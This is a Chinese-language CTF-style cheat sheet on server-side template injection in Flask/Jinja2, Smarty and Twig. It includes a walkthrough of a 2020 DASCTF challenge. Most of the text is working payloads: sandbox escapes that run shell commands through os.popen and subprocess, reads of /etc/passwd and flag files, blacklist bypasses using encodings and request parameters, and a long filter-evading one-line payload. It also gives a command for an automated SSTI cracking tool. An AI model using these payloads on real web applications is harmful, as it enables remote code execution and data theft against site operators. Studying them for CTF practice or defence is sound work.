判断

img

Flask

模板语法

1
2
3
{% %} # 控制结构
{{ }} # 变量表示符
{# #} # 注释

基础

config

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

self

1
2
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。

例如

1
2
3
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

魔术方法

1
2
3
4
5
6
7
8
9
__class__        # 返回调用的参数类型
__base__ # 以字符串返回一个类所直接继承的第一个类,一般情况下是object
__bases__ # 以元组的形式返回基类
__mro__ # 返回解析方法调用的顺序
__subclasses__() # 返回子类列表
__globals__ # 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__import__ # 导入模块
__builtins__ # 内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
__getitem__ # 提取元素

常规逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}

# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}

# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}

# <class 'click.utils.LazyFile'>
## 命令执行
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
## 读文件
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}

# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}

# flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
lipsum.__globals__.get("os").popen("ls").read()

介绍

flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;

jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__

条件

flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;

jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用

payload

1
2
3
4
5
6
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路

内置类 Undefined

介绍

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型。

payload

1
2
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

bytes

介绍

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

bypass

字符串过滤

1
2
3
4
5
# 字符串拼接
""["__cl"+"ass__"]
""["__cl""ass__"]
# 字符串倒序
""["__ssalc__"[::-1]]

符号过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 绕过.
""['__class__']
''|attr('__class__')
# 绕过[]
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
# 绕过\{\{
{%print()%}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# 也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /') %}1{% endif %}
# 也可以用 {%print(......)%} 的形式来代替 {{ ,如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

编码绕过

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

request方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 参数传递(GET|POST都可)
""[request.values.x1]
# GET方法传参
{{""[request.args.x1]}}&x1=__class__
# POST方法传参
""[request.form.x1]
POST: x1=__class__
# headers头
""[request.headers.x1]
x1: __class__
# User-Agent
""[request.user_agent.string]
User-Agent: __class__
# Cookie
""[request.cookies.x1]
Cookie: x1=__class__

使用 JinJa 的过滤器进行Bypass

在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。

详情请看官方文档:https://jinja.palletsprojects.com/en/latest/templates/#filters

以下是内置的所有的过滤器列表:

abs() float() lower() round() tojson()
attr() forceescape() map() safe() trim()
batch() format() max() select() truncate()
capitalize() groupby() min() selectattr() unique()
center() indent() pprint() slice() upper()
default() int() random() sort() urlencode()
dictsort() join() reject() string() urlize()
escape() last() rejectattr() striptags() wordcount()
filesizeformat() length() replace() sum() wordwrap()
first() list() reverse() title() xmlattr()

可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。

常用字符获取入口点
  • 对于获取一般字符的方法有以下几种:
1
2
3
4
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

如下演示:

1
{% set org = ({ }|select()|string()) %}{{org}}

可以通过 <generator object select_or_reject at 0x7fe339298fc0> 字符串获取的字符有:尖号、字母、空格、下划线和数字。

1
{% set org = (self|string()) %}{{org}}

可以通过 <TemplateReference None> 字符串获取的字符有:尖号、字母和空格。

1
{% set org = self|string|urlencode %}{{org}}

可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符,这个在下面第二道题中会讲到。

1
{% set org = (app.__doc__|string) %}{{org}}

可获得到的字符更多了。

  • 对于获取数字,除了当菜出现的那几种外我们还可以有以下几种方法:
1
2
3
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字
{% set point = self|float|string|min %} # 通过float过滤器获取点 .

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。

下面我们通过两道题目payload的构造过程来演示一下如何使用过滤器来Bypass。

[2020 DASCTF 八月安恒月赛]ezflask
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''

<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

可以看到题目过滤的死死地,最关键是把attr也给过滤了的话,这就很麻烦了,但是我们还可以用过滤器进行绕过。

在存在ssti的地方执行如下payload:

1
2
{% set org = ({ }|select()|string()) %}{{org}}
# 或 {% set org = ({ }|select|string) %}{{org}}

得到了一段字符串:<generator object select_or_reject at 0x7f06771f4150>,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 <generator object select_or_reject at 0x7f06771f4150> 这个字符串中取到我们想要的字符,从而绕过过滤。

然后我们在使用list()过滤器将字符串转化为列表:

1
{% set orglst = ({ }|select|string|list) %}{{orglst}}

反回了一个列表,列表中是 <generator object select_or_reject at 0x7f06771f4150> 这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示,我们取一个下划线 _

1
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}}    # _

同理还能取到更多的字符:

1
2
3
4
5
{% set space = (({ }|select|string|list).pop(10)|string) %}{{spa}}    # 空格
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _
{% set zero = (({ }|select|string|list).pop(38)|int) %}{{zero}} # 0
{% set seven = (({ }|select|string|list).pop(40)|int) %}{{seven}} # 7
......

这里,其实有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算,如下示例:

1
2
3
4
5
6
7
{% set zero = (({ }|select|string|list).pop(38)|int) %}    # 0
{% set one = (zero**zero)|int %}{{one}} # 1
{%set two = (zero-one-one)|abs %} # 2
{%set three = (zero-one-one-one)|abs %} # 3
{% set five = (two*two*two)-one-one-one %} # 5
# {%set four = (one+three) %} 注意, 这样的加号的是不行的,不知道为什么,只能用减号配合abs取绝对值了
......

通过上述原理,我们可以依次获得构造payload所需的特殊字符与字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 首先构造出所需的数字:
{% set zero = (({ }|select|string|list).pop(38)|int) %} # 0
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set seven = (zero-one-one-five)|abs %} # 7

# 构造出所需的各种字符与字符串: (这里的下标看具体情况)
{% set xhx = (({ }|select|string|list).pop(24)|string) %} # _
{% set space = (({ }|select|string|list).pop(10)|string) %} # 空格
{% set point = ((app.__doc__|string|list).pop(26)|string) %} # .
{% set yin = ((app.__doc__|string|list).pop(195)|string) %} # 单引号 '
{% set left = ((app.__doc__|string|list).pop(189)|string) %} # 左括号 (
{% set right = ((app.__doc__|string|list).pop(200)|string) %} # 右括号 )

{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set os = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx*2~but~xhx*2 %} # __builtins__

将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read()

1
{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

如上图所示,成功构造出了 __import__('os').popen('cat /flag').read()

然后将上面构造的各种变量添加到SSTI万能payload里面就行了:

1
2
3
4
5
6
7
8
9
{% for f,v in whoami.__init__.__globals__.items() %}    # globals
{% if f == bul %}
{% for a,b in v.items() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

所以最终的payload为:

1
{% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(195)|string) %}{% set left = ((app.__doc__|string|list).pop(189)|string) %}{% set right = ((app.__doc__|string|list).pop(200)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

强过滤版:

1
{%set zero=(({}|select|string|list)|sort|attr('pop')(4)|int)%}{%set one=(zero**zero)|int%}{%set two=(zero-one-one)|abs|int%}{%set four=(two*two)|int%}{%set five=(two*two*two)-one-one-one%}{%set seven=(zero-one-one-five)|abs%}{%set xhx=(({}|select|string|list)|attr('pop')(24)|string)%}{%set space=(({}|select|string|list)|attr('pop')(10)|string) %}{%set point=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(26)|string)%}{%set yin=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(181)|string)%}{%set left=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(195)|string)%}{%set right=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(199)|string)%}{%set c=dict(c=aa)|reverse|first %}{%set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{%set slas=bfhc%((four~seven)|int)%}{%set but=dict(buil=aa,tins=dd)|join%}{%set imp=dict(imp=aa,ort=dd)|join%}{%set pon=dict(po=aa,pen=dd)|join%}{%set ooo=dict(o=aa,s=dd)|join%}{%set ca=dict(ca=aa,t=dd)|join%}{%set flg=dict(fl=aa,ag=dd)|join%}{%set ev=dict(ev=aa,al=dd)|join%}{%set red=dict(re=aa,ad=dd)|join%}{%set bul=xhx*2~but~xhx*2%}{%set pld=xhx*2~imp~xhx*2~left~yin~ooo~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%}{%for f,v in whoami|attr(xhx~xhx~'init'~xhx~xhx)|attr(xhx~xhx~'globals'~xhx~xhx)|attr('items')()%}{%if f==bul%}{%for a,b in v|attr('items')()%}{%if a==ev%}{%print(b(pld))%}{%endif%}{%endfor%}{%endif%}{%endfor%}

Fenjing SSTI通杀

https://github.com/Marven11/Fenjing

1
2
$ pip3 install fenjing
$ python3 -m fenjing crack -u "http://node5.anna.nssctf.cn:28879/get_flag" -i "name"

参考:

浅析SSTI(python沙盒绕过)

Jinja2过滤器

关于Flask SSTI,解锁你不知道的新姿势https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA)

https://xz.aliyun.com/t/9584

Smarty

{$smarty.version}可以查看smarty版本

1、{php}{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

2、{literal}

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

3、{if}

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

4、getStreamVariable

新版本失效
{self::getStreamVariable("file:///etc/passwd")}

twig

文件读取

1
2
3
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

1
2
3
4
5
6
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
⬆︎TOP